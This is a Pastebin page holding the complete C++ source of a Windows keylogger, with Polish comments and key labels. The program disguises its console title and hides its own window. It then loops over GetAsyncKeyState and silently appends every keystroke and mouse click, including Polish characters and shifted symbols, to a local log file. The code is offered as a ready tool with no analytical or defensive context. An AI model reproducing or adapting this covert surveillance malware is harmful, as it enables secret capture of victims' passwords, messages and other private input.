API tools faq
paste
Advertisement
Koelion

KeyLogger

Koelion
Oct 3rd, 2013
156
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 16.64 KB | None | 0 0
raw download clone embed print report
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <winuser.h>
  4. #include <windowsx.h>
  5. #include <cctype>
  6. void GetChar();
  7. int a;
  8.  
  9. char alt_0[] = "zolcesaxn";
  10. char alt_1[] = "żółćęśąźń";
  11. char shift_0[] = "1234567890[]\\;',./-=";
  12. char shift_1[] = "!@#$%^&*(){}|:\"<>?_+";
  13. char shift_alpha_0[] = "żółćęśąźńabcdefghijklmnopqrstuvwxyz";
  14. char shift_alpha_1[] = "ŻÓŁĆĘŚĄŹŃABCDEFGHIJKLMNOPQRSTUVWXYZ";
  15.  
  16. char FileName[] = "BrazilianaLog.txt";
  17.  
  18. int main()
  19. {
  20.     system("TITLE SvSys");
  21.     HWND stealth;
  22.     AllocConsole();
  23.     stealth=FindWindowA("ConsoleWindowClass",NULL);
  24.     ShowWindow(stealth,0);
  25.  
  26.     while (true)
  27.         {
  28.             GetChar();
  29.         }
  30.  
  31.     return S_OK;
  32.  
  33. }
  34.  
  35. void GetChar()
  36. {
  37.     Sleep(10);
  38.     int key;
  39.     for (key = 0; key < 256; key++)
  40.         {
  41.             if (GetAsyncKeyState(key) == -32767)
  42.                 {
  43.  
  44.                     FILE *file;
  45.                     file = fopen(FileName, "a+");
  46.                     if (file != NULL)
  47.                         {
  48.                            if(key>=39 && key<91 or key == 189 or key == 187 or key == 220 or key == 219 or key == 221 or  key == 186 or key == 222 or key == 188 or key == 190 or key == 192 or key == 191)
  49.                                 {
  50.                                     char type = MapVirtualKey(key, 2);
  51.                                     type = tolower(type);
  52.                                     // ALT
  53.                                     if(HIWORD(GetKeyState(VK_MENU)) != 0)
  54.                                         {
  55.                                             int len = strlen(alt_0);
  56.                                             for(unsigned short i = 0; i < len; i++)
  57.                                                 if(type == alt_0[i])
  58.                                                     {
  59.                                                         type = alt_1[i];
  60.                                                         break;
  61.                                                     }
  62.                                         }
  63.  
  64.                                     // CAPSLOCK
  65.                                     if(GetKeyState(VK_CAPITAL) & 0x0001)
  66.                                             type = toupper(type);
  67.  
  68.                                     // SHIFT
  69.                                     if(HIWORD(GetKeyState(VK_SHIFT)) != 0)
  70.                                         {
  71.                                             // dla wszystkiego, co nie jest litera
  72.                                             int len = strlen(shift_0);
  73.                                             for(unsigned short i = 0; i < len; i++)
  74.                                                 if(type == shift_0[i])
  75.                                                     {
  76.                                                         type = shift_1[i];
  77.                                                         break;
  78.                                                     }
  79.  
  80.                                             // dla liter
  81.                                             for(unsigned short i = 0; i < strlen(shift_alpha_0); i++)
  82.                                                 {
  83.                                                     if(type == shift_alpha_0[i])
  84.                                                         {
  85.                                                             type = shift_alpha_1[i];
  86.                                                             break;
  87.                                                         }
  88.                                                     else if (type == shift_alpha_1[i])
  89.                                                         {
  90.                                                             type = shift_alpha_0[i];
  91.                                                             break;
  92.                                                         }
  93.                                                 }
  94.                                         }
  95.                                     fputc(type,file);
  96.                                     fclose(file);
  97.  
  98.                                 }
  99.                             else
  100.                                 switch(key)
  101.                                     {
  102.                                         case VK_LBUTTON:
  103.                                             fputs("[Lewy Przycisk Myszy]", file);
  104.                                             fclose(file);
  105.                                             break;
  106.  
  107.                                         case VK_RBUTTON:
  108.                                             fputs("[Prawy Przycisk Myszy]", file);
  109.                                             fclose(file);
  110.                                             break;
  111.  
  112.                                         case VK_MBUTTON:
  113.                                             fputs("[Srodkowy Przycisk Myszy]", file);
  114.                                             fclose(file);
  115.                                             break;
  116.                                         case VK_BACK:
  117.                                             fputs("[Back Space]", file);
  118.                                             fclose(file);
  119.                                             break;
  120.                                         case VK_TAB:
  121.                                             fputs("[Tab]", file);
  122.                                             fclose(file);
  123.                                             break;
  124.                                         case VK_CLEAR:
  125.                                             fputs("[Clear]", file);
  126.                                             fclose(file);
  127.                                             break;
  128.                                         case VK_RETURN:
  129.                                             fputs("\n[Enter]", file);
  130.                                             fclose(file);
  131.                                             break;
  132.                                         case VK_SHIFT:
  133.                                             fputs("[Shift]", file);
  134.                                             fclose(file);
  135.                                             break;
  136.                                         case VK_CONTROL:
  137.                                             fputs("[Ctrl]", file);
  138.                                             fclose(file);
  139.                                             break;
  140.                                         case VK_MENU:
  141.                                             fputs("[Alt]", file);
  142.                                             fclose(file);
  143.                                             break;
  144.                                         case VK_PAUSE:
  145.                                             fputs("[Pause]", file);
  146.                                             fclose(file);
  147.                                             break;
  148.                                         case VK_CAPITAL:
  149.                                             fputs("[Caps Lock]", file);
  150.                                             fclose(file);
  151.                                             break;
  152.                                         case VK_ESCAPE:
  153.                                             fputs("[Esc]", file);
  154.                                             fclose(file);
  155.                                             break;
  156.                                         case VK_SPACE:
  157.                                             fputs("[Spacja]", file);
  158.                                             fclose(file);
  159.                                             break;
  160.                                         case VK_PRIOR:
  161.                                             fputs("[Page Up]", file);
  162.                                             fclose(file);
  163.                                             break;
  164.                                         case VK_NEXT:
  165.                                             fputs("[Page Down]", file);
  166.                                             fclose(file);
  167.                                             break;
  168.                                         case VK_END:
  169.                                             fputs("[End]", file);
  170.                                             fclose(file);
  171.                                             break;
  172.                                         case VK_HOME:
  173.                                             fputs("[Home]", file);
  174.                                             fclose(file);
  175.                                             break;
  176.                                         case VK_LEFT:
  177.                                             fputs("[Lewa Strzalka]", file);
  178.                                             fclose(file);
  179.                                             break;
  180.                                         case VK_UP:
  181.                                             fputs("[Gorna Strzalka]", file);
  182.                                             fclose(file);
  183.                                             break;
  184.                                         case VK_RIGHT:
  185.                                             fputs("[Prawa Strzalka]", file);
  186.                                             fclose(file);
  187.                                             break;
  188.                                         case VK_DOWN:
  189.                                             fputs("[Dolna Strzalka]", file);
  190.                                             fclose(file);
  191.                                             break;
  192.                                         case VK_SNAPSHOT:
  193.                                             fputs("[PrintScreen]", file);
  194.                                             fclose(file);
  195.                                             break;
  196.                                         case VK_INSERT:
  197.                                             fputs("[Insert]", file);
  198.                                             fclose(file);
  199.                                             break;
  200.                                         case VK_DELETE:
  201.                                             fputs("[Delete]", file);
  202.                                             fclose(file);
  203.                                             break;
  204.                                         case VK_HELP:
  205.                                             fputs("[Help]", file);
  206.                                             fclose(file);
  207.                                             break;
  208.                                         case VK_NUMPAD0:
  209.                                             fputc('0', file);
  210.                                             fclose(file);
  211.                                             break;
  212.                                         case VK_NUMPAD1:
  213.                                             fputc('1',file);
  214.                                             fclose(file);
  215.                                             break;
  216.                                         case VK_NUMPAD2:
  217.                                             fputc('2',file);
  218.                                             fclose(file);
  219.                                             break;
  220.                                         case VK_NUMPAD3:
  221.                                             fputc('3',file);
  222.                                             fclose(file);
  223.                                             break;
  224.                                         case VK_NUMPAD4:
  225.                                             fputc('4',file);
  226.                                             fclose(file);
  227.                                             break;
  228.                                         case VK_NUMPAD5:
  229.                                             fputc('5',file);
  230.                                             fclose(file);
  231.                                             break;
  232.                                         case VK_NUMPAD6:
  233.                                             fputc('6',file);
  234.                                             fclose(file);
  235.                                             break;
  236.                                         case VK_NUMPAD7:
  237.                                             fputc('7',file);
  238.                                             fclose(file);
  239.                                             break;
  240.                                         case VK_NUMPAD8:
  241.                                             fputc('8',file);
  242.                                             fclose(file);
  243.                                             break;
  244.                                         case VK_NUMPAD9:
  245.                                             fputc('9',file);
  246.                                             fclose(file);
  247.                                             break;
  248.                                         case VK_MULTIPLY:
  249.                                             fputs("*",file);
  250.                                             fclose(file);
  251.                                             break;
  252.                                         case VK_ADD:
  253.                                             fputs("+",file);
  254.                                             fclose(file);
  255.                                             break;
  256.                                         case VK_SUBTRACT:
  257.                                             fputs("-",file);
  258.                                             fclose(file);
  259.                                             break;
  260.                                         case VK_DIVIDE:
  261.                                             fputs("/",file);
  262.                                             fclose(file);
  263.                                             break;
  264.                                         /*case VK_OEM_1:
  265.                                             fputs("[;:]",file);
  266.                                             fclose(file);
  267.                                             break;
  268.                                         case VK_OEM_2:
  269.                                             fputs("[/?]",file);
  270.                                             fclose(file);
  271.                                             break;
  272.                                         case VK_OEM_3:
  273.                                             fputs("ö",file);
  274.                                             fclose(file);
  275.                                             break;
  276.                                         case VK_OEM_4:
  277.                                             fputs("[ [{ ]",file);
  278.                                             fclose(file);
  279.                                             break;
  280.                                         case VK_OEM_5:
  281.                                             fputs("[\\|]",file);
  282.                                             fclose(file); */
  283.                                         case VK_F1:
  284.                                             fputs("[F1]",file);
  285.                                             fclose(file);
  286.                                             break;
  287.                                         case VK_F2:
  288.                                             fputs("[F2]",file);
  289.                                             fclose(file);
  290.                                             break;
  291.                                         case VK_F3:
  292.                                             fputs("[F3]",file);
  293.                                             fclose(file);
  294.                                             break;
  295.                                         case VK_F4:
  296.                                             fputs("[F4]",file);
  297.                                             fclose(file);
  298.                                             break;
  299.                                         case VK_F5:
  300.                                             fputs("[F5]",file);
  301.                                             fclose(file);
  302.                                             break;
  303.                                         case VK_F6:
  304.                                             fputs("[F6]",file);
  305.                                             fclose(file);
  306.                                             break;
  307.                                         case VK_F7:
  308.                                             fputs("[F7]",file);
  309.                                             fclose(file);
  310.                                             break;
  311.                                         case VK_F8:
  312.                                             fputs("[F8]",file);
  313.                                             fclose(file);
  314.                                             break;
  315.                                         case VK_F9:
  316.                                             fputs("[F9]",file);
  317.                                             fclose(file);
  318.                                             break;
  319.                                         default:
  320.                                             fclose(file);
  321.                                             break;
  322.                                     }
  323.  
  324.                         }
  325.                 }
  326.  
  327.         }
  328.  
  329. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!